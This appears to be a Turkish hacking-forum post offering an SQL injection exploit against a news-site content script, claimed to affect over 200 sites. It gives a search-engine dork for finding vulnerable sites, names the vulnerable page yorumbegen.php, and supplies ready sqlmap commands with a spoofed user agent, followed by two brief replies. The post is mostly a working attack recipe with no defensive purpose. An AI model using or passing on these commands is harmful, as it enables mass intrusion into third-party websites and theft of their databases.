Haber Sitesi Exploit (+200site)

dork : foto-galeri/kategori/gundem/2/

açığın bulunduğu sayfalar;
/template/portal/yorumbegen.php?tip=1
siteadresi.com/template/portal/yorumbegen.php?tip=1

yorumbegen.php
siteadresi.com/yorumbegen.php

tek yapılması gereken yorumbegen.php dosyasına sqlmap ile "id=1" verisinin post edilmesi

sqlmap -u siteadresi.com/yorumbegen.php --data=id=1 --random-agent

sqlmap -u siteadresi.com/template/portal/yorumbegen.php?tip=1 --random-agent --data=id=1

eline sağlık

merak ettim